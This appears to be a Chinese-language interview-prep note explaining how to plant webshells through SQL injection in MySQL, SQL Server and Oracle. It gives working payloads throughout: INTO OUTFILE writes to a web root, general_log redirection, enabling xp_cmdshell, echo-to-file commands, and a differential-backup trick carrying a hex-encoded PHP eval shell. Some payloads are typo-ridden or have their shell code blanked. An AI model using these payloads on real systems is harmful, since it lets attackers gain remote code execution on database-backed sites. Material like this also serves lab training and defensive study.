说一下,这个问题当时愚安笔试和hvv面试都问到了,两个问的都是mysql怎样写webshell,当时答得不好,所以可以把这个点拿出来详细整理一下。
MySQL写入WebShell
MySQL写入WebShell需要满足哪些条件?
- 数据库的当前用户为ROOT或拥有FILE权限;
- 知道网站目录的绝对路径;
- PHP的GPC参数为off状态;
4.MySQL中的secure_file_priv参数不能为NULL状态。
注意:关于其中第4点,secure_file_priv参数是MySQL用来限制数据导入和导出操作的效果,如果这个参数被设为了一个目录名,那么MySQL会允许仅在这个目录中可以执行文件的导入和导出,
例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。
如果这个参数为NULL,MySQL会禁止导入导出操作,但是这只是意味着通过outfile方法写入WebShell是无法成功的,但是通过导出日志的方法是可以的。
Mysql写入webshell怎样写?
向MySQL写入WebShell的方式一共有两种,分别是:1、使用outfile方法,2、基于log日志写入法。
Outfile方法其实是MySQL提供的一个用来写入文件的函数,当我们可以控制写入的文件内容以及文件的保存路径时,我们就可以达到传入WebShell的目的。
当我们可以使用union查询时,我们构造一个如下语句,就可以达到效果:
Union select “这里是WebShell” into outfile “Web目录”;
当我们无法使用union时,还有一些其他方法也可以实现(利用分隔符写入):
?id=1 INTO OUTFILE ‘物理路径’ lines terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ fields terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE’物理路径’columns terminatedby (这里是WebShell)#
?id=1 INTO OUTFILE ‘物理路径’ lines startingby (这里是WebShell)#
基于log日志写入的方法其实是先将日志文件的导出目录修改成Web目录,然后执行了一次简单的WebShell代码查询功能,此时日志文件记录了此过程,这样再Web目录下的日志文件就变成了WebShell。
例如,我们先设置日志文件的导出目录:set global general_file=‘Web目录’;然后执行一遍:select “WebShell代码”;即可。
使用outfile方法怎样写入webshell?
(1)实验前准备
检查secure_file_priv是否开启:show variables like‘%secure%’;确认其不为NULL。有值或为空都可以。(若是为NULL,则需要到my.ini文件中手动修改)
检查当前用户是否具备写权限:selectuser,file_priv from mysql.user;确认其用户的值为Y即代表此用户拥有文件写入权限。
(2)确认注入点
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;
参数ID存在SQL注入漏洞
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1’union select version(),user()#
(3)利用outfile写入shell文件
若secure_file_priv为空,则可以向任意目录写入文件,若secure_file_priv有值,则只能向该值指向的目录写入文件,因为我们的值为空,所以就任意目录写入,但因为还需要工具进行连接,所以最好放在网站的根目录下。
PAYLOAD(使用Union查询注入):1‘union select1,”” into outfile“F:\PhpStudy20180211\PHPTutorial\WWW\Tp.php‘’#
PAYLOAD(不用Union):1’into outfile“F:\Php、Study2018021\PHPTutorial\WWW\Tp.php” fields terminated by “”#
利用outfile写入shell文件
文件已被写入到网站的根目录下,接下来就可以使用连接工具(蚁剑、菜刀、冰蝎等)进行连接了。
网站根目录
怎样使用导入日志的方法怎样写入webshell?
(1)实验前准备:
检查当前MySQL下log日志是否开启,以及log的默认地址在哪里:show variables like ‘%general%’;
将log日志开启,并设置日志的写入位置:
Set globalgeneral_log = on;
Set globalgeneral_log_file =‘F:/test.php’;
(2)使用写入日志再读取的方法
直接在SQL注入点,使用查询语句,添加WebShell代码,WebShell代码被记录到日志文件中,接下就可以使用连接工具进行连接了。
Mssql写入webshell有哪些条件?
① 有相应的权限db_owner
② 获得Web目录的绝对路径
Mssql写入webshell方法有哪些?
利用xp_cmdshell命令、
差异备份写入shell、
log备份写入shell。
使用XP_cmdshel怎样l写入Webshell?
(1)实验前准备:
首先我们需要查找网站目录的绝对路径,查找绝对路径的方法有5种:
通过报错信息查找;
通过目录爆破猜解;
通过旁站的目录确定;
通过存储过程来搜索;
通过读取配置文件查找。
其中通过存储过程来搜索,SQLServer提供了两种方法:xp_cmdshell和xp_dirtree
execute master…xp_dirtree ‘c:’;可以查出所有c:\下的文件、目录、子目录。
查找网站目录的绝对路径
在真实环境中时,我们执行execute可能并不能得到回显信息,但我们可以在注入点处新建一张表,然后将xp_dirtree查询到的信息插入其中,再查询这张表即可得相应的绝对路径了。
Xp_cmdshell是一个更为有效的查询绝对路径的函数,但是目前已经被SQLServer默认关闭了,但我们可以使用如下命令启用这个选项。
EXEC sp_configure ‘show advanced options’,1;//允许修改高级参数RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’,1;//打开xp_cmdshell扩展RECONFIGURE;–
打开xp_cmdshell扩展
开启了xp_cmsshell之后我们就可以执行CMD命令了,例如:
for /r c:%i in (1*.php) do @echo %i
就可以查询c:\目录下的所有符合1*.php的文件,同理,在实际应用中,我们也是新建一个表,并将xp_cmdshell查询到的信息插入后,再次查询即可。
执行CMD命令查询
使用xp_cmdshell写入WebShell
我们可以通过xp_cmdshell执行系统CMD命令,例如我们可以使用CMD中的echo命令,将WebShell的代码写入到网站目录下,所以我们必须提前知道Web目录的绝对路径。
PAYLOAD:1’;execmaster…xp_cmdshell’echo^>F:\PhpStudy20180211\PHPTutorial\WWW\cmd.php’;
使用差异备份怎样写入WebShell?
首先对某一数据库进行备份。
PAYLOAD:id=1’;backup database 库名 to disk=‘F:\PhpStudy20180211\PHPTutorial\WWW\back.bak’;
数据库备份
其次将WebShell代码写入数据库中,
PAYLOAD:id=1’; create table cybk([cmd][image]);#创建一个新表
PAYLOAD:id=1’;insertintocybk(cmd)
vaues(0x3C3F706870206576616C28245F504F53545B2770617373275D293B203F3E);#将WebShell的代码转换成ASCII码
最后将此数据库进行差异备份,这样其中就会包含刚刚写入的WebShell代码。
PAYLOAD:id=1’; backup database library todisk=‘F:\PhpStudy20180211\PHPTutorial\WWW\cybk.php’ WITHDIFFERENTIAL,FORMAT;
使用log备份怎样写入WebShell?
使用Log备份写入WebShell的要求是他的数据库已经备份过,而且要选择完整模式的恢复模式,相比较差异备份而言,使用Log备份文件会小的多。
首先需要将数据库设置为完整恢复模式,然后创建一个新表,将WebShell用Ascii编码后写入其中,然后将该数据库的日志信息导出到Web目录,即可。
ORACLE写入WebShell有哪些条件?
1.有DBA权限
2. 获得Web目录的绝对路径
Oracle怎样写入websshell?
可以使用,文件访问包
怎样使用文件访问包方法写入Webshell?
首先我们需要创建一个ORACLE的目录对象指向某一路径,在真实环境中需要指向Web目录下,
在这里我们将其指向/home/oracle这一路径下:create or replace directory IST0_DIR as ‘/home/oracle’;
创建ORACLE目录对象
创建好后,我们需要对其进行一下授权过程,让其能够顺利的写入WebShell代码。
grant read, write on directory IST0_DIR tosystem;
然后写入文件,定义变量类型为utl_file.file_type,然后将WebShell的代码写入此文件中。
直接访问该文件,即可查看到其中的WebShell代码,如果这个文件是放置在Web目录下的,那么就可以被攻击者成功利用。
以上就是三大数据库(MySQL、SqlServer、Oracle)写入WebShell的正确姿势